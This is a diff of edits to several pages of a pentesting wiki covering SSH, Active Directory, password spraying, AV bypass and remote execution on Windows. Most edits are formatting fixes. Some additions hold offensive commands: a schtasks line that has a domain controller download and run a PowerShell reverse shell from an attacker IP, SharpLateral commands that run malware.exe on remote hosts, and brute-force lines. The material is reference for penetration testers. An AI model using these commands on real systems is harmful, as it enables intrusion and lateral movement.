@@ -253,7 +257,7 @@ This configuration will allow only SFTP: disabling shell access by forcing the s
 
 If you have access to a SFTP server you can also tunnel your traffic through this for example using the common port forwarding:
 
-```
+```bash
 sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
 ```
 
@@ -263,7 +267,7 @@ The **sftp** have the command "**symlink**". Therefor, if you have **writable ri
 
 For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
 
-```
+```bash
 sftp> symlink / froot
 ```
 
@@ -273,8 +277,8 @@ If you can access the file "_froot_" via web, you will be able to list the root
 
 On high security environment it’s a common practice to enable only key-based or two factor authentication rather than the simple factor password based authentication. But often the stronger authentication methods are enabled without disabling the weaker ones. A frequent case is enabling `publickey` on openSSH configuration and setting it as the default method but not disabling `password`. So by using the verbose mode of the SSH client an attacker can see that a weaker method is enabled:
 
-```
+```bash
-$ ssh -v 192.168.1.94
+ssh -v 192.168.1.94
 OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
 ...
 debug1: Authentications that can continue: publickey,password,keyboard-interactive
@@ -282,8 +286,8 @@ debug1: Authentications that can continue: publickey,password,keyboard-interacti
 
 For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the `PreferredAuthentications` option to force to use this method.
 
-```
+```bash
-$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
+ssh -v 192.168.1.94 -o PreferredAuthentications=password
 ...
 debug1: Next authentication method: password
 ```
@@ -294,7 +298,7 @@ the effectiveness of the configuration.
 
 ### Config files
 
-```
+```bash
 ssh_config
 sshd_config
 authorized_keys

windows-hardening/active-directory-methodology/README.md

@@ -7,7 +7,7 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -176,7 +176,7 @@ Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulner
 * You ca also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information
 * Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
   * **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
-* \*\*\*\*[**DNS records of the AD**](ad-dns-records.md) \*\*\*\* as they might contain interesting information.
+* [**DNS records of the AD**](ad-dns-records.md) as they might contain interesting information.
 * A **tool with GUI** that you can use to enumerate the directory is **AdExplorer.exe** from **SysInternal** Suite.
 * You can also search in the LDAP database with **ldapsearch** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) for other methods.
 * If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview).
@@ -254,7 +254,7 @@ This vulnerability allowed any authenticated user to **compromise the domain con
 
 Hopefully you have managed to **compromise some local admin** account using [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/).\
 Then, its time to dump all the hashes in memory and locally.\
-[**Read this page about different ways to obtain the hashes.**](broken-reference)
+[**Read this page about different ways to obtain the hashes.**](broken-reference/)
 
 ### Pass the Hash
 
@@ -383,7 +383,7 @@ Once you get **Domain Admin** or even better **Enterprise Admin** privileges, yo
 
 [**More information about DCSync attack can be found here**](dcsync.md).
 
-[**More information about how to steal the NTDS.dit can be found here**](broken-reference)
+[**More information about how to steal the NTDS.dit can be found here**](broken-reference/)
 
 ### Privesc as Persistence
 
@@ -598,26 +598,30 @@ The Configuration NC is the primary repository for configuration information for
 
 It is possible to compromise the root domain in various ways covered below.
 
-##### Link GPO to root DC site
+**Link GPO to root DC site**
+
 The Sites container in Configuration NC contains all sites of the domain-joined computers in the AD forest. It is possible to link GPOs to sites when running as SYSTEM on any DC in the forest, including the site(s) of the forest root DCs, and thereby compromise these.
 
 More details can be read here [Bypass SID filtering research](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
 
-##### Compromise any gMSA in the forest
+**Compromise any gMSA in the forest**
+
 The attack depends on privileged gMSAs in the targeted domain.
 
 The KDS Root key, which is used to calculate the password of gMSAs in the forest, is stored in the Configuration NC. When running as SYSTEM on any DC in the forest, one can read out the KDS Root key and calculate the password of any gMSA in the forest.
 
 More details can be read here: [Golden gMSA trust attack from child to parent](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
 
-##### Schema change attack
+**Schema change attack**
+
 The attack requires the attacker to wait for new privileged AD objects to be created.
 
 When running as SYSTEM on any DC in the forest, one can grant any user full control over all classes in the AD Schema. That control can be abused to create an ACE in the default security descriptor of any AD object that grants full control to a compromised principal. All new instances of the modified AD object types will have this ACE.
 
 More details can be read here: [Schema change trust attack from child to parent](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
 
-##### From DA to EA with ADCS ESC5
+**From DA to EA with ADCS ESC5**
+
 The ADCS ESC5 (Vulnerable PKI Object Access Control) attacks abuse control over PKI objects to create a vulnerable certificate template that can be abused to authenticate as any user in the forest. Since all the PKI objects are stored in the Configuration NC, one can execute ESC5 if they have compromised any writable (child) DC in the forest.
 
 More details can be read here: [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)
@@ -760,7 +764,7 @@ If you don't execute this from a Domain Controller, ATA is going to catch you, s
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/active-directory-methodology/password-spraying.md

@@ -1,4 +1,4 @@
-# Password Spraying
+# Password Spraying / Brute Force
 
 <details>
 
@@ -7,8 +7,8 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -53,7 +53,7 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
 ```
 
-* Using [**kerbrute**](https://github.com/ropnop/kerbrute) **** (Go)
+* Using [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
 
 ```bash
 # Password Spraying
@@ -62,7 +62,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
 ```
 
-* [_**spray**_](https://github.com/Greenwolf/Spray) _**(you can indicate number of attempts to avoid lockouts):**_
+* [**spray**](https://github.com/Greenwolf/Spray) _**(you can indicate number of attempts to avoid lockouts):**_
 
 ```bash
 spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
@@ -106,12 +106,20 @@ done
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
 
-* With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)****
+* With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
 
 ```
 Invoke-SprayEmptyPassword
 ```
 
+## Brute Force
+
+{% code overflow="wrap" %}
+```bash
+legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
+```
+{% endcode %}
+
 ## Outlook Web Access
 
 There are multiples tools for p**assword spraying outlook**.
@@ -157,7 +165,7 @@ To use any of these tools, you need a user list and a password / a small list of
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/av-bypass.md

@@ -345,17 +345,22 @@ his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit
 
 ## **Old Techniques**
 
+### **Check which parts Defender finds as malicious**
+
+You can use [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) which will **remove parts of the binary** until it **finds out which part Defender** is finding as malicious and split it to you.\
+Another tool doing the **same thing is** [**avred**](https://github.com/dobin/avred) with an open web offering the service in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
+
 ### **Telnet Server**
 
 Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing:
 
-```
+```bash
 pkgmgr /iu:"TelnetServer" /quiet
 ```
 
 Make it **start** when the system is started and **run** it now:
 
-```
+```bash
 sc config TlntSVR start= auto obj= localsystem
 ```
 

windows-hardening/lateral-movement/dcom-exec.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
 
 Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
 
@@ -153,22 +153,26 @@ elseif ($Method -Match "ExcelDDE") {
 }
 ```
 
-## Tool
+## Automatic Tools
 
-The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) allows to easily invoke all the commented ways to execute code in other machines.
+* The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) allows to easily invoke all the commented ways to execute code in other machines.
+* You could also use [**SharpLateral**](https://github.com/mertdas/SharpLateral):
+
+```bash
+SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
+```
 
 ## References
 
 * The first method was copied from [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/), for more info follow the link
 * The second section was copied from [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/), for more info follow the link
 
-<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
 
 Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
 
 {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
 
-
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

windows-hardening/ntlm/atexec.md

@@ -4,15 +4,11 @@
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
 
 </details>
 
@@ -26,15 +22,27 @@ At \\victim 11:00:00PM shutdown -r
 
 Using schtasks you need first to create the task and then call it:
 
-```
+{% code overflow="wrap" %}
+```bash
 schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
 schtasks /run /tn <TASK_NAME> /S <VICTIM>
 ```
+{% endcode %}
 
+{% code overflow="wrap" %}
 ```bash
 schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
 schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
 ```
+{% endcode %}
+
+You can also use [SharpLateral](https://github.com/mertdas/SharpLateral):
+
+{% code overflow="wrap" %}
+```bash
+SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
+```
+{% endcode %}
 
 More information about the [**use of schtasks with silver tickets here**](../active-directory-methodology/silver-ticket.md#host).
 
@@ -42,14 +50,10 @@ More information about the [**use of schtasks with silver tickets here**](../act
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
 
 </details>

windows-hardening/ntlm/psexec-and-winexec.md

@@ -4,15 +4,11 @@
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
 
 </details>
 
@@ -51,18 +47,22 @@ Extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-b
 
 ![](<../../.gitbook/assets/image (165).png>)
 
+You could also use [**SharpLateral**](https://github.com/mertdas/SharpLateral):
+
+{% code overflow="wrap" %}
+```
+SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
+```
+{% endcode %}
+
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
 
 </details>

windows-hardening/ntlm/smbexec.md

@@ -4,21 +4,17 @@
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
 
 </details>
 
 ## How does it works
 
-**Smbexec works like Psexec.** In this example\*\*,\*\* **instead** of pointing the "_binpath_" to a malicious executable inside the victim, we are going to **point it** to **cmd.exe or powershell.exe** and one of they will download and execute the backdoor.
+**Smbexec works like Psexec.** In this example, **instead** of pointing the "_binpath_" to a malicious executable inside the victim, we are going to **point it** to **cmd.exe or powershell.exe** and one of they will download and execute the backdoor.
 
 ## **SMBExec**
 
@@ -60,14 +56,10 @@ All the info was extracted from here: [https://blog.ropnop.com/using-credentials
 
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 </details>

windows-hardening/ntlm/wmicexec.md

@@ -4,15 +4,11 @@
 
